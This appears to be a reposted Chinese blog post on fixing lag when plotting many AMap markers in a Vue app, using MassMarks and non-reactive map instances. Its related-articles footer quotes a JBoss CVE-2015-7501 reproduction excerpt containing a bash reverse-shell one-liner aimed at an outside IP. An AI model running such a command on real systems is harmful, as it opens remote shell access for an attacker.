vue中高德地图使用 Marker 标点 - 标点数据快到 1000 时页面卡顿问题解决(已解决 - 多方面原因)+ 海量点功能实现解决

news2024/9/23 20:53:36

目录

  • 1.业务需求
  • 2.最初实现及出现的问题
  • 3.解决 - `1000` 个标点时页面就出现 `卡顿` 问题
  • 4.使用海量点、聚合标点后还有卡顿,排查其他原因
  • 5.最终解决
    • 5.1页面中list数据渲染问题解决
    • 5.2地图相关实例不要放在 vue 的可响应数据中
  • 页面展示

1.业务需求

需要在 高德地图 中标点,标点数量可能 上万个

2.最初实现及出现的问题

  • 【最初实现】使用高德地图的 Marker 标点
    • Marker 实现标点代码
      // 遍历list数据一个一个标点
      let warnning = new AMap.Marker({
        zIndex: type === 'alarm' ? 14 : 12,
        icon: icon,
        position: [item.longitude, item.latitude],
        anchor: 'bottom-center',
        extData: {
          tabType: type,
          ...item
        }
      })
      this.markerList.push(warnning) // 用于
      warnning.on('click', this.markerClick)
      // warnning.emit('click', { target: warnning });//
      map.add(warnning)
      
  • 【问题】1000 个标点时页面就出现 卡顿

3.解决 - 1000 个标点时页面就出现 卡顿 问题

想尽各种办法:

  1. 【海量点第一种方法】:海量点 MassMarks 官方示例 (代码示例如下)
  2. 【海量点第二种方法】:标注和标注图层-海量点 官方示例
  3. 【点聚合】:MarkerCluster 官方示例

【海量点第一种方法】代码

<script>
/* 注释掉的代码与当前功能无关 */
let map = null
// let infoWindowCon = null
// let contextMenu = null
let makerPeak = null

export default {
  name: 'mapManager',
  data() {
    return {
      // ...
      dangerSucMass: null // 【关键代码】海量点图层
    }
  },
  methods: {
    // 使用【海量点第一种方法】实现标点
    completeAddMarker(data) {
      this.dangerSucMass?.clear()
      const list = (data || []).map((item, index) => {
        return {
          id: item.id,
          name: item.address,
          lnglat: [item.longitude, item.latitude],
          style: 0,
          extData: {
            tabType: 'dangerSuceess',
            ...item
          }
        }
      })
      this.dangerSucMass = new AMap.MassMarks(list, {
        opacity: 0.8,
        zIndex: 111,
        cursor: 'pointer',
        style: [{
          url: require('@/assets/image/green.png'),
          anchor: AMap.Pixel(0, 0),
          size: new AMap.Size(10, 10),
          zIndex: 3
        }]
      })
      this.dangerSucMass.setMap(map)

      this.dangerSucMass.on('click', this.successMarkerClick)
    },
    // 展示/隐藏图标
    isShowSucMass(e) {
      if (e) {
        this.dangerSucMass.show()
        this.markerTip.open(map)
      } else {
        this.dangerSucMass.hide()
        this.markerTip.close()
      }
    },
    //监听
    successMarkerClick(e) {
      console.log('e--successMarkerClick--打印', e)
      // 添加点击marker时的提示
      if (this.markerTip) {
        this.markerTip.close() // 关闭提示
      }
      const data = e.data.extData
      console.log('e.data.extData----打印', data)
      this.infoWindowData = { ...data, type: 'dangerSuceess' }
      const position = [data.longitude, data.latitude]
      map.setCenter(new AMap.LngLat(position[0], position[1]), true)
      this.markerTip = new AMap.InfoWindow({ // 提示插件
        position: new AMap.LngLat(position[0], position[1]), // 经纬度
        content: this.$refs['infoW'].$el,
        offset: new AMap.Pixel(5, 0) // 偏移位置
      })
      this.markerTip.open(map)
      // this.$refs.infoW.open({...e.data.extData, typeTab: 'dangerSuceess'})
    },
  }
}
</script>

4.使用海量点、聚合标点后还有卡顿,排查其他原因

以上三种办法 - 页面还是卡顿 - 基于以上三种解决办法排查到以下多方面原因:

  1. 页面中有list数据 列表渲染,数据过多,页面数据渲染过多也会导致页面卡顿
  2. 地图相关的变量data 中声明(此处以【海量点第一种方法】为例)
    • 以上 【海量点第一种方法】代码 中可以看到,海量点实例 dangerSucMassdata 中声明 ↓↓↓
    • 所有 地图相关的实例不要放在 vue 的可响应数据中,响应数据会 劫持属性地图的属性会被修改,另外,劫持的属性可能和渲染有关,那么 会增加很多响应的计算,会很卡; 参考别人遇到的类似的问题-官方解释
      在这里插入图片描述

5.最终解决

5.1页面中list数据渲染问题解决

最初地图标点和list数据使用的是一套数据
【解决】

  • 地图标点数据页面渲染数据 分成两套列表数据
    • 地图标点数据:获取所有标点数据
    • 页面渲染数据列表:改成分页获取数据,单次获取一部分数据

5.2地图相关实例不要放在 vue 的可响应数据中

最终解决办法【海量点第一种方法】代码

<script>
/* 注释掉的代码与当前功能无关 */
let map = null
// let infoWindowCon = null
// let contextMenu = null
let makerPeak = null
let dangerSucMass = null // 【关键代码】【解决代码】海量点实例 - 不在 data 中

export default {
  name: 'mapManager',
  data() {
    return {
      // ...
      // dangerSucMass: null // 【关键代码】海量点实例
    }
  },
  methods: {
    // 使用【海量点第一种方法】实现标点
    completeAddMarker(data) {
      dangerSucMass?.clear()
      const list = (data || []).map((item, index) => {
        return {
          id: item.id,
          name: item.address,
          lnglat: [item.longitude, item.latitude],
          style: 0,
          extData: {
            tabType: 'dangerSuceess',
            ...item
          }
        }
      })
      dangerSucMass = new AMap.MassMarks(list, {
        opacity: 0.8,
        zIndex: 111,
        cursor: 'pointer',
        style: [{
          url: require('@/assets/image/green.png'),
          anchor: AMap.Pixel(0, 0),
          size: new AMap.Size(10, 10),
          zIndex: 3
        }]
      })
      dangerSucMass.setMap(map)

      dangerSucMass.on('click', this.successMarkerClick)
    },
    // 展示/隐藏图标
    isShowSucMass(e) {
      if (e) {
        dangerSucMass.show()
        this.markerTip.open(map)
      } else {
        dangerSucMass.hide()
        this.markerTip.close()
      }
    },
    //监听
    successMarkerClick(e) {
      console.log('e--successMarkerClick--打印', e)
      // 添加点击marker时的提示
      if (this.markerTip) {
        this.markerTip.close() // 关闭提示
      }
      const data = e.data.extData
      console.log('e.data.extData----打印', data)
      this.infoWindowData = { ...data, type: 'dangerSuceess' }
      const position = [data.longitude, data.latitude]
      map.setCenter(new AMap.LngLat(position[0], position[1]), true)
      this.markerTip = new AMap.InfoWindow({ // 提示插件
        position: new AMap.LngLat(position[0], position[1]), // 经纬度
        content: this.$refs['infoW'].$el,
        offset: new AMap.Pixel(5, 0) // 偏移位置
      })
      this.markerTip.open(map)
      // this.$refs.infoW.open({...e.data.extData, typeTab: 'dangerSuceess'})
    },
  }
}
</script>

页面展示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158432.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity图书】Unity 2018入门与实战

推荐一本适合初学者的书《Unity 2018 入门与实战》 京东购买链接&#xff1a;现在购买 推荐本书的两大理由&#xff1a; 一是浅显易懂&#xff0c;容易操作&#xff0c;讲解有趣 二是条理性的编程思想&#xff0c;从小例子开始培养项目管理的习惯 在动手之前先按下面的步骤…

docker镜像的打包、复制、加载

一、镜像打包 docker save -o /root/ollama.tar ollama/ollama 二、复制 如果网络互通&#xff0c;则可以直接远程复制即可。如果网络不通&#xff0c;则可以先下载到本地再上传到目标主机。这里我直接远程复制&#xff1a; 将本机的ollama.tar文件复制到目标主机192.168.1.2…

防火墙详解(一) 网络防火墙简介

原文链接&#xff1a;https://blog.csdn.net/qq_46254436/article/details/105519624 文章目录 定义 与路由器和交换机的区别 发展历史 防火墙安全区域 定义 防火墙主要用于保护一个网络区域免受来自另一个网络区域的网络攻击和网络入侵行为 “防火墙”一词起源于建筑领域&…

ARM单片机的详细启动流程(重要)

ARM单片机的详细启动流程 一、ARM架构 ARM Cortex_M3内核中提供了多个复位信号&#xff0c;厂商设计MCU时一般只使用以下三个复位信号&#xff0c;其他复位信号在MCU内部实现&#xff08;如看门狗复位信号、软件复位&#xff1a;软件服务只能复位内核&#xff0c;内核以外不受…

(附源码)基于django的电力工程作业现场物资管理系统的设计与实现-计算机毕设 22067

基于django的电力工程作业现场物资管理系统的设计与实现 摘 要 随着电力工程的快速发展&#xff0c;作业现场物资管理成为保障工程进度和质量的关键环节。本文旨在设计并实现一个基于Django框架的电力工程作业现场物资管理系统&#xff0c;以提高物资管理的效率和准确性。该系统…

移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——14.AVL树

1.AVL 树 1.1AVL 树的概念 二叉搜索树虽可以缩短查找的效率&#xff0c;但如果数据有序或接近有序二叉搜索树将退化为单支树&#xff0c;查 找元素相当于在顺序表中搜索元素&#xff0c;效率低下。因此&#xff0c;两位俄罗斯的数学家G.M.Adelson-Velskii 和E.M.Landis在1962…

Redis事务总结

1.事务介绍 Redis 事务是一个用于将多个命令打包在一起执行的功能&#xff0c;它可以确保这些命令按照顺序执行&#xff0c;并且具有原子性。这意味着事务中的命令要么全部执行&#xff0c;要么全部不执行&#xff0c;这有助于保持数据的一致性。 Redis 事务本质&#xff1a;…

小程序开发设计-协同工作和发布:协同工作⑧

上一篇文章导航&#xff1a; 小程序开发设计-小程序的宿主环境&#xff1a;组件⑦-CSDN博客https://blog.csdn.net/qq_60872637/article/details/142455350?spm1001.2014.3001.5501 注&#xff1a;不同版本选项有所不同&#xff0c;并无大碍。 目录 上一篇文章导航&#x…

Matlab/simulink低版本打开高版本

很简单&#xff0c;取消”预设“下一个选项的勾即可&#xff0c; 我是21a&#xff0c;打开21b的simulink亲测有效&#xff0c;以下是过程记录

校园社区服务系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;发布类型管理&#xff0c;互帮互助管理&#xff0c;物品分类管理&#xff0c;闲置交易管理&#xff0c;购买物品管理&#xff0c;反馈信息系统管理 微信端账号功能包括&#xff1…

lammps计算区域压力的两种方法

大家好,我是小马老师。 本文介绍lammps计算区域压力的两种方法。 在lammps模拟中,计算某一个固定区域内气体或者液态的压力,可以先计算该区域内所有单个原子的应力,然后把区域内原子的应力值求和再除以体积。 只有处于该区域内的原子参与压力的计算,当原子移动出该区域后,…

如何合并pdf文件,四款软件,三步搞定!

在数字化办公的浪潮中&#xff0c;PDF文档因其跨平台兼容性和安全性&#xff0c;成为了我们日常工作中不可或缺的一部分。然而&#xff0c;面对多个PDF文件需要整合成一个文件时&#xff0c;不少小伙伴可能会感到头疼。别担心&#xff0c;今天我们就来揭秘四款高效PDF合并软件&…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

Linux C# Day4

作业&#xff1a; 1.统计家目录下.c文件的个数 #!/bin/bash num0 for filename in ls ~/*.c do((num)) done echo $num2.定义一个稀疏数组(下标不连续)&#xff0c;写一个函数&#xff0c;求该稀疏数组的和&#xff0c;要求稀疏数组中的数值通过参数传递到函数中arr([2]9 [4…

基于单片机的自行车智能辅助系统设计

文章目录 前言资料获取设计介绍功能介绍设计程序具体实现截图目 录设计获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师&#xff0c;一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 …

多数元素-简单

169. 多数元素 - 力扣&#xff08;LeetCode&#xff09; 【LeetCode 每日一题】169. 多数元素 | 手写图解版思路 代码讲解_哔哩哔哩_bilibili c为计数器&#xff0c;代表当前候选人的票数 v为当前候选人 x为遍历的各候选人得票 分三种情况&#xff1a; 第一种&#xff0c;c…

OpenBayes 一周速览|IC-Light 图片打光神器一键启动!Tecnalia 电子设备废物高光谱数据集上线,提高电子废物回收准确性

公共资源速递 This Weekly Snapshots &#xff01; 5 个数据集&#xff1a; * BTAD 工业异常数据集 * WebVid 大型短视频数据集 * bAbi 问答和文本理解的数据集 * OpenMIR 音乐收听脑电图数据集 * Tecnalia 电子设备废物高光谱数据集 2 个教程&#xff1a; * ComfyUl …

12. Inseq 特征归因:可视化解释 LLM 的输出

Feature Attribution&#xff08;特征归因&#xff09;&#xff1a;你可以将其当做对模型输出的解释&#xff0c;就像在图像分类中可视化模型关注的区域一样。 本文将介绍 Inseq&#xff0c;这是一个用于解释和可视化序列生成模型输出的工具。我们将通过翻译任务&#xff08;关…

Flink 本地启动的多种方式

Flink 本地启动的多种方式 Application模式通过代码提交到Yarn上启动 //设置Yarn客户端 YarnClient yarnClient ; Configuration configuration new Configuration(); if (customConfiguration ! null) {configuration.addAll(customConfiguration); } configuration.set(Jo…

Linux——虚拟机网络配置

进行虚拟机网络配置是确保虚拟机能够正常访问网络、与宿主机及其他设备进行通信的关键步骤。虚拟机网络配置允许用户根据实际需求选择合适的网络模式&#xff0c;并调整网络参数以满足特定的网络环境要求。 虚拟机常见的三种网络模式包括桥接模式、NAT模式和主机模式&#xff…